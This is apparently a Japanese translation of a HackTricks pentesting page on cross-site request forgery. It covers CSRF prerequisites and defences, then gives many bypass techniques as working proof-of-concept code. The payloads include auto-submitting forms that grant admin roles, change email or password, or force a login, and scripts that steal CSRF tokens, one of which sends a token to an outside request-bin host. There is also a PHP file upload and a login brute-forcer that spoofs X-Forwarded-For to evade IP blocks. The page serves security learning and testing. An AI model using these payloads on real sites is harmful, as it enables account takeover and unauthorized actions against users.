CSRF (Cross Site Request Forgery)

Reading time: 31 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cross-Site Request Forgery (CSRF) の説明

Cross-Site Request Forgery (CSRF) は、ウェブアプリケーションに見られる一種のセキュリティ脆弱性です。これにより、攻撃者は認証済みセッションを悪用して、気づいていないユーザに代わって操作を実行できます。攻撃は、被害者のプラットフォームにログインしているユーザが悪意のあるサイトを訪れたときに実行されます。該当サイトは JavaScript の実行、フォームの送信、画像の取得などの方法で被害者アカウントへリクエストを送信します。

CSRF攻撃の前提条件

CSRF脆弱性を悪用するには、いくつかの条件が満たされている必要があります:

  1. 価値のある操作を特定する: 攻撃者は、パスワードやメールの変更、権限昇格など、悪用に値する操作を見つける必要があります。
  2. セッション管理: ユーザのセッションは cookies または HTTP Basic Authentication header のみで管理されている必要があります。他のヘッダはこの目的で操作できません。
  3. 予測不能なパラメータがないこと: リクエストに予測不能なパラメータが含まれていると、攻撃を阻止する可能性があります。

クイックチェック

リクエストを Burp でキャプチャして CSRF 保護を確認できますし、ブラウザからテストするには Copy as fetch をクリックしてリクエストを確認できます:

CSRFに対する防御

CSRF攻撃を防ぐために、いくつかの対策を実装できます:

  • SameSite cookies: この属性はブラウザがクロスサイトリクエストとともに cookies を送信するのを防ぎます。 More about SameSite cookies.
  • Cross-origin resource sharing: 被害者サイトの CORS ポリシーは、攻撃がレスポンスを読み取る必要がある場合など、攻撃の実現可能性に影響します。 Learn about CORS bypass.
  • ユーザ検証: ユーザのパスワード再入力や CAPTCHA の解答を要求することで、意図を確認できます。
  • Referrer や Origin ヘッダの検証: これらのヘッダを検証することで、リクエストが信頼できるソースから来ているか確認できます。しかし、URL を巧妙に作成することで不十分な実装は回避されることがあります。例えば:
    • http://mal.net?orig=http://example.com(URL が信頼された URL で終わる)
    • http://example.com.mal.net(URL が信頼された URL で始まる)
  • パラメータ名の変更: POST や GET のパラメータ名を変更することで、自動化された攻撃を防ぐのに役立つことがあります。
  • CSRF トークン: 各セッションに一意の CSRF トークンを組み込み、後続のリクエストでそのトークンを要求することで CSRF のリスクを大幅に軽減できます。トークンの有効性は CORS を適用することでさらに高められます。

これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。

防御の一般的な落とし穴

  • SameSite の落とし穴: SameSite=Lax はリンクやフォームの GET のようなトップレベルのクロスサイトナビゲーションを許可するため、多くの GET ベースの CSRF は依然として可能です。cookie マトリックスは Hacking with Cookies > SameSite を参照してください。
  • ヘッダチェック: Origin が存在する場合はそれを検証してください。OriginReferer の両方が存在しない場合は安全側に倒して拒否すべきです。Referer の部分一致や正規表現マッチに依存しないでください。類似ドメインや巧妙に作られた URL によって回避される可能性があります。また、meta name="referrer" content="never" による抑制トリックに注意してください。
  • メソッドオーバーライド: オーバーライドされたメソッド(_method や override ヘッダ)は状態変更とみなし、実効メソッドに対して CSRF を強制してください。単に POST のみを検査してはいけません。
  • ログインフロー: ログインにも CSRF 保護を適用してください。さもなければ、login CSRF により攻撃者管理下のアカウントへの強制再認証が可能になり、stored XSS と連鎖する恐れがあります。

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

一部のアプリケーションは POST に対してのみ CSRF 検証を強制し、他の HTTP 動詞ではスキップすることがあります。PHP でよくあるアンチパターンは次のように見えます:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

脆弱なエンドポイントが$_REQUESTからのパラメータも受け付ける場合、同じアクションをGETリクエストとして再実行し、CSRFトークンを完全に省略できます。これにより、POST専用のアクションがトークンなしで成功するGETアクションに変換されます。

Example:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • このパターンは、応答がapplication/jsonではなく誤ってtext/htmlとして返されるreflected XSSと共に発生することが多い。
  • これをXSSと組み合わせると、単一のGETリンクで脆弱なコードパスをトリガーしつつCSRFチェックを完全に回避できるため、悪用のハードルが大幅に下がる。

トークンの欠如

アプリケーションは、トークンが存在する場合にトークンを検証する仕組みを実装していることがある。しかし、トークンが存在しない場合に検証が完全にスキップされると脆弱性が発生する。攻撃者は値そのものだけでなく、トークンを運ぶパラメータを削除することでこれを悪用できる。これにより検証プロセスを回避し、効果的に Cross-Site Request Forgery (CSRF) 攻撃を実行できる。

さらに、一部の実装ではパラメータの存在だけを確認して内容を検証しないため、空のトークン値が受け入れられることがある。その場合は、csrf= を付けてリクエストを送るだけで十分である:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

最小限の自動送信 PoC(history.pushState を使ってナビゲーションを隠す):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRFトークンがユーザーセッションに紐付けられていない

アプリケーションがCSRFトークンをユーザーセッションに紐付けていない場合、重大なセキュリティリスクとなります。これらのシステムは、各トークンが発行元セッションに紐付いていることを確認するのではなく、グローバルなプールに対してトークンを照合して検証します。

攻撃者がこれを悪用する流れは次の通りです:

  1. 自分のアカウントで認証する。
  2. グローバルプールから有効なCSRFトークンを取得する。
  3. そのトークンを使用して被害者に対するCSRF攻撃を行う。

この脆弱性により、攻撃者はアプリケーションの不十分なトークン検証メカニズムを突いて、被害者になりすまし不正なリクエストを行うことができます。

Method bypass

リクエストが「変なmethodを使用している場合、method override 機能が動作しているか確認してください。たとえば、PUT/DELETE/PATCH メソッドを使用している場合、POST を使ってオーバーライドを送信して試すことができます。例: https://example.com/my/dear/api/val/num?_method=PUT

これは、_method parameter inside a POST body を送信するか、オーバーライド用のheadersを使用することで動作することもあります:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Laravel、Symfony、Express などのフレームワークでよく見られます。開発者はブラウザが非POST動詞を発行できないと仮定してCSRFを非POST動詞でスキップすることがありますが、オーバーライドを使えばPOST経由でそれらのハンドラに到達できる場合があります。

Example request and HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

カスタムヘッダー token のバイパス

リクエストが custom headertoken を追加し、CSRF protection method としている場合は、次を試してください。

  • リクエストを Customized Token and also header. なしでテストする。
  • 同じ長さだが別の same length but different token を使ってリクエストをテストする。

アプリケーションは、token を cookie とリクエストパラメータの両方に複製するか、CSRF cookie を設定して、バックエンドに送られてきた token がその cookie と一致するかを検証することで、CSRF 保護を実装することがある。アプリケーションはリクエストパラメータ内の token が cookie の値と一致するかをチェックしてリクエストを検証する。

しかし、Webサイトに CRLF の脆弱性など、攻撃者が被害者のブラウザに CSRF cookie を設定できてしまう欠陥がある場合、この方法は CSRF 攻撃に対して脆弱になる。攻撃者は、cookie を設定するような偽の画像を読み込ませ、その後に CSRF 攻撃を開始することでこれを悪用できる。

以下は攻撃の構成例です:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

注意: csrf tokenがsession cookieに関連している場合、この攻撃は機能しません。なぜなら、被害者にあなたの session を設定する必要があり、その結果自分自身を攻撃することになるからです。

Content-Type の変更

According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

However, note that the サーバーのロジックは異なる場合があります depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

JSONデータに対するプリフライトリクエストの回避

POSTリクエストでJSONデータを送信しようとする場合、HTMLフォームで Content-Type: application/json を直接使用することはできません。同様に、XMLHttpRequest でこの Content-Type を送信するとプリフライトリクエストが発生します。それでも、この制限を回避してサーバーが Content-Type に関係なく JSON データを処理するかどうかを確認するための方法がいくつかあります:

  1. Use Alternative Content Types: フォームで enctype="text/plain" を設定して、Content-Type: text/plainContent-Type: application/x-www-form-urlencoded を利用します。この方法でバックエンドが Content-Type に関係なくデータを利用するかをテストできます。
  2. Modify Content Type: プリフライトリクエストを回避しつつサーバーが内容を JSON と認識するようにするには、Content-Type: text/plain; application/json でデータを送信できます。これによりプリフライトは発生しませんが、サーバーが application/json を受け入れるよう構成されていれば正しく処理される可能性があります。
  3. SWF Flash File Utilization: より一般的ではありませんが実行可能な方法として、これらの制限を回避するために SWF flash ファイルを使用する手法があります。この手法の詳細については this post を参照してください。

Referrer / Origin チェックの回避

Referer ヘッダを送らせない

アプリケーションは 'Referer' ヘッダが存在する場合にのみ検証することがあります。ブラウザがこのヘッダを送信しないようにするには、次の HTML meta タグを使用できます:

xml
<meta name="referrer" content="never">

これにより 'Referer' ヘッダーが省略され、一部のアプリケーションで検証チェックを回避できる可能性があります。

Regexp bypasses

URL Format Bypass

Referrer がパラメータ内に送信する URL のサーバーのドメイン名を設定するには、次のようにします:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

The first part of this CTF writeup is explained that Oak's source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply given to the GET handler but the app just removes the response body.

したがって、もし GET リクエストが制限されている場合、単に send a HEAD request that will be processed as a GET request することで回避できます。

Exploit Examples

Stored CSRF via user-generated HTML

rich-text editors や HTML injection が許可されている場合、脆弱な GET endpoint に対して受動的な fetch を永続化できます。コンテンツを閲覧したユーザーは、そのリクエストを自動的に自身の cookies とともに実行します。

  • If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.

読み込まれたときに閲覧者のメールを変更する最小の例:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF を stored XSS と連鎖させる

単体の Login CSRF は影響が小さい場合があるが、authenticated な stored XSS と連鎖させると強力になる: 被害者を攻撃者制御のアカウントで認証させ、そのコンテキストで authenticated なページ上の stored XSS が実行されると tokens を盗んだり、session を乗っ取ったり、privileges を昇格させたりできる。

  • login endpoint が CSRF-able(per-session token や origin check がない)で、user interaction gates によってブロックされないことを確認する。
  • 強制ログイン後、自動的に攻撃者の stored XSS ペイロードを含むページへ遷移させる。

Minimal login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

CSRF Tokenの抽出

もし CSRF Token防御 として使われている場合、XSS の脆弱性や Dangling Markup の脆弱性を悪用して exfiltrate it を試みることができます。

HTMLタグを使った GET

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

GET リクエストを自動的に送信するために使用できるその他の HTML5 タグは次のとおりです:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

フォームによるGETリクエスト

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

フォームのPOSTリクエスト

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframeを使ったフォームのPOSTリクエスト

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data の POST リクエスト

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

iframe 内からの Form の POST リクエスト

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Tokenを盗んでPOST requestを送信する

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Tokenを盗み、iframe、form、Ajaxを使ってPostリクエストを送信する

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Tokenを盗み、iframeとformを使ってPOSTリクエストを送信する

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

token を盗み、2 iframes を使って送信する

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token を Ajax で取得し、form で post を送信する

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

Socket.IO を使った CSRF

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

このコードはCSRFトークンを使用してログインフォームに対してBrut Forceを行うために使用できます(IPのブラックリストを回避しようとするために、ヘッダー X-Forwarded-For も使用しています):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

ツール

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする